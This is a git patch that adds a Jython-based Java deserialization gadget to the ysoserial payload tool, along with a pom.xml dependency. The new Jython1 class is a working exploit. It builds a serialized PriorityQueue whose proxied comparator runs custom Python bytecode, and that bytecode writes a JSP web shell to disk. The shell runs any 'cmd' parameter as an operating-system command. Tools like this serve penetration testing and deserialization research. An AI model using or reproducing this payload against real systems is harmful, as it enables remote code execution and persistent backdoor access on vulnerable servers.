From 097179b703cce00fc8b3a5cd201a5acc551ce871 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 14 Mar 2016 00:30:31 +0100 Subject: [PATCH] Rebased Jython Gadget --- pom.xml | 5 ++ src/main/java/ysoserial/payloads/Jython1.java | 86 +++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/Jython1.java diff --git a/pom.xml b/pom.xml index 6bea82d..492357d 100644 --- a/pom.xml +++ b/pom.xml @@ -238,6 +238,11 @@ rome 1.0 + + org.python + jython-standalone + 2.5.2 + diff --git a/src/main/java/ysoserial/payloads/Jython1.java b/src/main/java/ysoserial/payloads/Jython1.java new file mode 100644 index 0000000..201f3a0 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Jython1.java @@ -0,0 +1,86 @@ +package ysoserial.payloads; + +import org.python.core.*; + +import java.io.*; +import java.math.BigInteger; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; +import ysoserial.payloads.util.Reflections; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({ "org.python:jython-standalone:2.5.2" }) +public class Jython1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String path) throws Exception { + + // Set payload parameters + String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" + + "
\n" + + "\n" + + "\n" + + "
\n" + + "
\n" +
+            "<%\n" +
+            "if (request.getParameter(\"cmd\") != null) {\n" +
+                    "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\n" + + "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" + + "OutputStream os = p.getOutputStream();\n" + + "InputStream in = p.getInputStream();\n" + + "DataInputStream dis = new DataInputStream(in);\n" + + "String disr = dis.readLine();\n" + + "while ( disr != null ) {\n" + + "out.println(disr);\n" + + "disr = dis.readLine();\n" + + "}\n" + + "}\n" + + "%>\n" + + "
"; + + // Python bytecode to write a file on disk + String code = + "740000" + // 0 LOAD_GLOBAL 0 (open) + "640100" + // 3 LOAD_CONST 1 () + "640200" + // 6 LOAD_CONST 2 ('w') + "830200" + // 9 CALL_FUNCTION 2 + "690100" + // 12 LOAD_ATTR 1 (write) ?? + "640300" + // 15 LOAD_CONST 3 () + "830100" + // 18 CALL_FUNCTION 1 + "01" + // 21 POP_TOP + "640000" + // 22 LOAD_CONST + "53"; // 25 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)}; + String[] names = new String[]{"open", "write"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jython1.class, args); + } +}